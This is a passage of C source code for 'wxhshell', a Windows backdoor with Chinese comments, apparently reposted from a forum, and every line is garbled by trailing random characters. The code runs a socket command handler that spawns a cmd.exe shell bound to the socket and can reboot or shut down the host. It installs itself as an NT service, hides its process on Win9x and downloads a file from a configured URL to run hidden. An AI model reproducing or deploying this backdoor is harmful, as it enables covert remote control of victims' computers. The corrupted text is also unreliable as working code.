      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V5+a[`]  
    break; &PX'=UT  
  } 0'uj*Y{L  
  // 安装 hkG<I';M?M  
  case 'i': { gN%R-e0  
    if(Install()) `Ec+i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MZ'HMYed   
    else C'ZU .Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {YFru6$  
    break; ||f 4f3R'  
    } 4.TG&IQ nN  
  // 卸载 U' Cp3>  
  case 'r': { DNPK1e3a{  
    if(Uninstall()) <3KrhhH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<\*(rUe  
    else >\ W" 3.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0dW1I|jR  
    break; 9EEHLx"  
    } k>"I!&#g  
  // 显示 wxhshell 所在路径 gQ~4udla.  
  case 'p': { DVd/OU  
    char svExeFile[MAX_PATH]; X9R-GT  
    strcpy(svExeFile,"\n\r"); A:f+x|[  
      strcat(svExeFile,ExeFile); eR CGr?e4  
        send(wsh,svExeFile,strlen(svExeFile),0); P\JpE  
    break; j*"s~8u4  
    } |@RO&F  
  // 重启 2k_Bo~.  
  case 'b': { sdLFBiR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {<@~;iq  
    if(Boot(REBOOT)) 2r,fF<WQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15COwc*k  
    else { ?4_;9MkN  
    closesocket(wsh); _[ x(p6Xp  
    ExitThread(0); Hi Yx(hY  
    } %}/)_RzQ  
    break; 4J  s>yP  
    } r"+ WUU  
  // 关机 S`::f(e  
  case 'd': { 7j+.H/2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t%)L8%Jr  
    if(Boot(SHUTDOWN)) vzL>ZBe Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]#nAld1cmy  
    else { <FP -]R)  
    closesocket(wsh); Xp' KQ1w)  
    ExitThread(0); {RK#W~h  
    } N|DY)W  
    break; x {rt\OT  
    } sb1/4u/W  
  // 获取shell HwHI$IB  
  case 's': { )~6974  
    CmdShell(wsh); m5S/T\,X  
    closesocket(wsh); gI]Vyg<{d  
    ExitThread(0); ~'ovJ46tx  
    break; 7Ny>W(8  
  } Xe5J  
  // 退出 HN:{rAIfc  
  case 'x': { }~7>S5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |^ qW   
    CloseIt(wsh); 8]O|$8'"  
    break; <^=k~7m  
    } E$cr3 t7Xy  
  // 离开 +wmfl:\^{H  
  case 'q': { >,DR{A2hSB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7 ir T6O<.  
    closesocket(wsh); }5~ ;jN=k  
    WSACleanup(); X@arUs7  
    exit(1); ,GK>|gNsb  
    break; m>iuy:ti  
        } ~Sh}\&3p  
  } '@$?A>.cj  
  } k z#DBh!&  
!n7?w@2a'  
  // 提示信息 5+U~ZW0|+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p'H5yg3h  
} 8w{V[@QLn  
  } xe5>)\18-  
rJAY7/u  
  return; w(vf>L6(  
} 9`xq3EL2T  
XLtuck  
// shell模块句柄 sx22|j`)V  
int CmdShell(SOCKET sock) 4o%hH  
{  (vY10W{  
STARTUPINFO si; ar6Z?v$  
ZeroMemory(&si,sizeof(si)); U*-%V$3+w5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8} U/fQ~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^0r @",  
PROCESS_INFORMATION ProcessInfo; e@6}?q;  
char cmdline[]="cmd"; &P\T{d2"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Vp$A$7M  
  return 0; }>grGr%oR  
} U8moVj8w1  
`aCcTs7~]p  
// 自身启动模式 Q[}mH: w  
int StartFromService(void) =14pEe  
{ 1f}Dza9  
typedef struct a1?Y7(alPU  
{ y_\d[  
  DWORD ExitStatus; 0py0zE6,,  
  DWORD PebBaseAddress; a+ ]@$8+  
  DWORD AffinityMask; hRME;/r]X  
  DWORD BasePriority; }@x0@sI9  
  ULONG UniqueProcessId; o<x2,uT  
  ULONG InheritedFromUniqueProcessId; ^f4qs  
}   PROCESS_BASIC_INFORMATION; jML}{>Gy8S  
-`rz[";n  
PROCNTQSIP NtQueryInformationProcess; ](%-5G1<  
r1,RloyZS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,#s}nJ4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9D&ocV3QV  
|`,%%p|T%  
  HANDLE             hProcess; Zu5`-[mw  
  PROCESS_BASIC_INFORMATION pbi; PyIIdTm  
IuRKj8J)o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XrYz[h*)!  
  if(NULL == hInst ) return 0; 6}[W%S]8  
gPDc6{/C<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;0ake%v]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  M7hff4c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nL\BB&  
[^aow-4z  
  if (!NtQueryInformationProcess) return 0; 4O2O0\o:  
b8>r UGA{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *ozeoX'5D  
  if(!hProcess) return 0; ZVeY`o(uE  
la f b^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 94H 6`  
d'PjO-"g  
  CloseHandle(hProcess); q4Q1Ib-<2  
D(yRI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uh*V>HA#  
if(hProcess==NULL) return 0;  E{h   
e;,D!  
HMODULE hMod; 0&Zm3(}  
char procName[255]; o4tQ9X=}  
unsigned long cbNeeded; $n!saPpxS  
)~rN{W<s`H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k|1/gd5  
U^[<G6<9]  
  CloseHandle(hProcess); TN(1oJ:  
Xn4U!<RT"  
if(strstr(procName,"services")) return 1; // 以服务启动 1)H+iN|im/  
DjtUX>e  
  return 0; // 注册表启动 {Dqf.w>t  
} UZv^3_,qz  
v 6Tz7  
// 主模块 `9%@{Ryo  
int StartWxhshell(LPSTR lpCmdLine) V{ECDg P  
{ a*! wiTGf  
  SOCKET wsl; "4|D"|wI)  
BOOL val=TRUE; a//<S?d$:  
  int port=0; o[0Cv*  
  struct sockaddr_in door; E\5t&jZr  
!Mceg  
  if(wscfg.ws_autoins) Install(); le`fRq8f&  
3 `$-  
port=atoi(lpCmdLine); K'Wg_ihA  
p8frSrcU  
if(port<=0) port=wscfg.ws_port; *ax$R6a#X  
V~%!-7?  
  WSADATA data; c&J,O1){\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 44b;]htv  
Z-.`JkKd8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m o nqaSF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wHvX|GwMv  
  door.sin_family = AF_INET; V`m'r+ Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); txw:m*(%  
  door.sin_port = htons(port); :iP2e+j  
'WUd7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q!iM7C!8  
closesocket(wsl); iG^o@*}a  
return 1; O'*KNJX  
} e3}`]  
qlNK }  
  if(listen(wsl,2) == INVALID_SOCKET) { 2r]80sWY  
closesocket(wsl); l`M{Ravvn*  
return 1; Cj#$WZga%  
} |gg 6|,Bt4  
  Wxhshell(wsl); tI~.3+F  
  WSACleanup(); 3o5aB1   
CI{? Kb  
return 0; mfc\w'  
pa*bqPi  
} 3dTz$s/[  
&A)AV<=>T  
// 以NT服务方式启动 fucG 9B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q30A aG}f  
{ aSkH<5i`v  
DWORD   status = 0; | U )  
  DWORD   specificError = 0xfffffff; 3A!`U6C(  
YzNSZJPD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Btp 9v<"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JvX]^t/}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .zZee,kM  
  serviceStatus.dwWin32ExitCode     = 0; 9`4M o+  
  serviceStatus.dwServiceSpecificExitCode = 0; U@T"teGBA  
  serviceStatus.dwCheckPoint       = 0; i=jwk_y  
  serviceStatus.dwWaitHint       = 0; | vL0}e  
jgNdcP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8lk@ev=O&  
  if (hServiceStatusHandle==0) return; e:D8.h+ &}  
*")Req  
status = GetLastError(); [|.IXdJ!  
  if (status!=NO_ERROR) =bgzl=A`  
{ _FR_6*C)5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6}4?, r  
    serviceStatus.dwCheckPoint       = 0; C@1B?OfJ  
    serviceStatus.dwWaitHint       = 0; ]-]K4*{   
    serviceStatus.dwWin32ExitCode     = status; f9ux+XQk9  
    serviceStatus.dwServiceSpecificExitCode = specificError; k+b!Lw!L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G'<:O(Imu  
    return; Mtq\xF,/+  
  } 1k"<T7K  
|qTvy,U[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A:! _ &  
  serviceStatus.dwCheckPoint       = 0; 3Z/_}5%"  
  serviceStatus.dwWaitHint       = 0; Pfi|RTX$'*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4@19_+3  
}  i;B &~  
Sy()r 6n  
// 处理NT服务事件,比如:启动、停止 v,]-;V~<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i[L5,%5<H  
{ )S"!)\4 b  
switch(fdwControl) GWd71ZtFO  
{ 5,dKha  
case SERVICE_CONTROL_STOP: U1nObA  
  serviceStatus.dwWin32ExitCode = 0; C)Ep}eHjf_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;&7dX^oH  
  serviceStatus.dwCheckPoint   = 0; *WMI<w~_  
  serviceStatus.dwWaitHint     = 0; bji5X')~#  
  {  qHVZsZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sq22]  
  } u|(;SY  
  return; !r^fX=X>'  
case SERVICE_CONTROL_PAUSE: [~_)]"pU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Nk'yow  
  break; 7]sRHX0o%  
case SERVICE_CONTROL_CONTINUE: JX!z,X?r4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &FrUj>i  
  break; 1?I_fA}  
case SERVICE_CONTROL_INTERROGATE: YF8;s4  
  break; A; _Zw[  
}; qh9d .Q+n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O1+OE!w  
} "{9^SPsp  
+%Z#!1u  
// 标准应用程序主函数 uvG' Kx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OTe h8h  
{ (fNG51h!  
qkXnpv  
// 获取操作系统版本 l(A)Gd5>  
OsIsNt=GetOsVer(); 2P, %}Ms  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~}"5KX\=#  
Q&5s,)w-  
  // 从命令行安装 kF]sy8u]  
  if(strpbrk(lpCmdLine,"iI")) Install(); G]v BI=  
UpTVLx^c  
  // 下载执行文件 mY= Q#nG  
if(wscfg.ws_downexe) { CH9Psr78  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x3AAn,m8  
  WinExec(wscfg.ws_filenam,SW_HIDE); CKE):kHu  
} MD98N{+[|  
:MaP58dhh  
if(!OsIsNt) { y:',)f }  
// 如果时win9x,隐藏进程并且设置为注册表启动 <>v=jH|L  
HideProc(); $ U=j<^R}a  
StartWxhshell(lpCmdLine); l"zwH  
} XgI;2Be+&a  
else 0ZM#..3sI  
  if(StartFromService()) !P8Y(i  
  // 以服务方式启动 "%I<yUP]U  
  StartServiceCtrlDispatcher(DispatchTable); ]A&pX AM  
else t 7-6A  
  // 普通方式启动 lxsn(- j  
  StartWxhshell(lpCmdLine); O\J{4EB@.  
'vwu^u?  
return 0; Y6 <.]H  
}
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只看该作者 1 发表于: 2006-10-10
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